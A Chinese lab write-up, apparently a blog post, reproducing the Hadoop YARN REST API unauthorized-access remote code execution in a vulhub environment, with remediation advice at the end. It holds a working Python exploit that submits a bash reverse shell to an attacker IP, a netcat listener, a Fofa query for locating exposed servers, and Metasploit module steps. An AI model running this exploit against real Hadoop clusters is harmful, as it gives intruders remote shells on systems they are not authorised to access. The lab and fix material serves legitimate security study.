当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] Hadoop-yarn-RPC 未授权访问漏洞复现

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞简述
  • 二、影响范围
  • 三、指纹信息
  • 四、环境搭建:
    • 1、进入Hadoop-yarn-未授权访问漏洞环境
    • 2、开启Hadoop-yarn-未授权访问漏洞环境
    • 3、查看Hadoop-yarn-未授权访问漏洞环境
    • 4、访问Hadoop-yarn-未授权访问漏洞环境
    • 5、查看Hadoop-yarn-未授权访问漏洞提示
  • 五、漏洞复现
    • 1、环境
    • 2、Getshell
      • exp
      • 攻击机监听
      • 靶机连接
      • Getshell成功
  • 六、Msf进行攻击
    • 1、进入msf控制台
    • 2、搜索相关模块
    • 3、使用模块
    • 4、设置靶机
    • 5、运行模块
    • 6、Getshell
  • 七、修复建议
  • 八、相关资源

一、漏洞简述

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
HDFS是一个分布式文件系统,具有高容错性的特点,并且被设计用来部署在廉价的硬件上;而且它能够以高吞吐量来访问应用程序的数据,尤其适合那些有着超大数据集的应用程序。MapReduce是一个使用简易的软件框架,基于它编写出来的应用程序能够运行在由上千个商用机器组成的大型集群上,并以一种可靠容错的方式并行处理上T级别的数据集。

二、影响范围

3.3.0版本以下

三、指纹信息

Fofa
app="APACHE-hadoop-YARN"

四、环境搭建:

1、进入Hadoop-yarn-未授权访问漏洞环境

cd vulhub/hadoop/unauthorized-yarn  

在这里插入图片描述

2、开启Hadoop-yarn-未授权访问漏洞环境

docker-compose up -d

在这里插入图片描述

3、查看Hadoop-yarn-未授权访问漏洞环境

docker-compose ps 

在这里插入图片描述

4、访问Hadoop-yarn-未授权访问漏洞环境

http://192.168.13.131:8088/

在这里插入图片描述

5、查看Hadoop-yarn-未授权访问漏洞提示

cat README.md

在这里插入图片描述

五、漏洞复现

1、环境

靶机:kali :192.168.13.131
攻击机:windows:192.168.13.1

2、Getshell

exp

#!/usr/bin/env python
import requests

import sys
target = 'http://192.168.13.131'#目标机ip
lhost = '192.168.13.1'  c##将你的本地ip填在这里,使用nc监听55555端口
target = sys.argv[1]
#lhost = sys.argv[2]
url = target + '/ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + '/ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/55555 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

把exp代码写入txt更改后缀名为py就可以执行了
我这里名称改成了unauthorized-yarn-hadoop.py

攻击机监听

 .\nc.exe -lvvp 55555		#在攻击机上用NC工具开启55555侦听端口\

在这里插入图片描述

靶机连接

python3 unauthorized-yarn-hadoop.py http://192.168.13.131:8088   #执行Exp

在这里插入图片描述

Getshell成功

在这里插入图片描述

六、Msf进行攻击

1、进入msf控制台

Msfconsole

2、搜索相关模块

search hadoop

3、使用模块

use exploit/linux/http/hadoop_unauth_exec

4、设置靶机

set rhosts 192.168.13.131

5、运行模块

Run

6、Getshell

我分别执行了以下三条命令

getuid
ls
Ifconfig

七、修复建议

1、如无必要,关闭 Hadoop Web 管理页面,不要将接口开放在公网,改为本地或者内网调用
2、开启身份验证,防止未经授权用户访问
3、设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。
详细端口列表如下:

a)HDFS
NameNode 默认端口 50070
DataNode 默认端口 50075
httpfs 默认端口14000
journalnode 默认端口 8480

b)YARN(JobTracker)
ResourceManager 默认端口8088
JobTracker 默认端口 50030
TaskTracker 默认端口 50060

c)Hue 默认端口 8080

d)YARN(JobTracker)
master 默认端口 60010
regionserver 默认端口60030

e)hive-server2 默认端口 10000

f)spark-jdbcserver 默认端口 10003

4.设置防火墙策略
如果正常业务中Hadoop服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。
iptables -A INPUT -s x.x.x.x -p tcp --dport 8088 -j ACCEPT
注意:x.x.x.x 修改为实际IP或者网段

八、相关资源

docker 搭建 vulhub 靶场环境:

https://blog.csdn.net/qq_51577576/article/details/125048165

反弹shell的集中常见方式(一)nc反弹shell

https://blog.csdn.net/qq_51577576/article/details/126128251

相关文章:

  • SEO外链软件-免费批量网站发布SEO外链
  • 计算机毕业设计ssm汽车租赁系统42876系统+程序+源码+lw+远程部署
  • ubuntu 更新
  • 树莓派——舵机
  • 边缘计算卸载分配优化的论文
  • Linux操作文件命令
  • 前端培训丁鹿学堂:es7,es8常用新特性总结(一)
  • redis中springboot的redisTemplate简单的增删查
  • 猿创征文|Axios的介绍与作用 - 大白话
  • 【概率论基础进阶】随机事件和概率-随机事件、事件间的关系与运算
  • Bingo学习--redis
  • Vue学习第19天——vue脚手架配置代理
  • day13学习总结
  • K8s基础知识总结及常用基本关键命令
  • 内创业革命
  • 2017年终总结、随想
  • Android 初级面试者拾遗(前台界面篇)之 Activity 和 Fragment
  • canvas 绘制双线技巧
  • Docker 笔记(2):Dockerfile
  • github指令
  • Git同步原始仓库到Fork仓库中
  • JavaScript对象详解
  • java正则表式的使用
  • k个最大的数及变种小结
  • Linux编程学习笔记 | Linux IO学习[1] - 文件IO
  • Mysql5.6主从复制
  • php的插入排序,通过双层for循环
  • TypeScript实现数据结构(一)栈,队列,链表
  • Zepto.js源码学习之二
  • 阿里云ubuntu14.04 Nginx反向代理Nodejs
  • 测试如何在敏捷团队中工作?
  • 深度学习在携程攻略社区的应用
  • 使用iElevator.js模拟segmentfault的文章标题导航
  • 问:在指定的JSON数据中(最外层是数组)根据指定条件拿到匹配到的结果
  • 这几个编码小技巧将令你 PHP 代码更加简洁
  • 智能合约开发环境搭建及Hello World合约
  • ​一文看懂数据清洗:缺失值、异常值和重复值的处理
  • #我与Java虚拟机的故事#连载19:等我技术变强了,我会去看你的 ​
  • $.proxy和$.extend
  • (02)Hive SQL编译成MapReduce任务的过程
  • (4)(4.6) Triducer
  • (Redis使用系列) Springboot 使用Redis+Session实现Session共享 ,简单的单点登录 五
  • (二十四)Flask之flask-session组件
  • (附源码)python旅游推荐系统 毕业设计 250623
  • (含react-draggable库以及相关BUG如何解决)固定在左上方某盒子内(如按钮)添加可拖动功能,使用react hook语法实现
  • (论文阅读11/100)Fast R-CNN
  • (一)Neo4j下载安装以及初次使用
  • (原创) cocos2dx使用Curl连接网络(客户端)
  • (原創) 未来三学期想要修的课 (日記)
  • (转)linux 命令大全
  • ****** 二十三 ******、软设笔记【数据库】-数据操作-常用关系操作、关系运算
  • .NET 5.0正式发布,有什么功能特性(翻译)
  • .NET 中选择合适的文件打开模式(CreateNew, Create, Open, OpenOrCreate, Truncate, Append)
  • @require_PUTNameError: name ‘require_PUT‘ is not defined 解决方法
  • @test注解_Spring 自定义注解你了解过吗?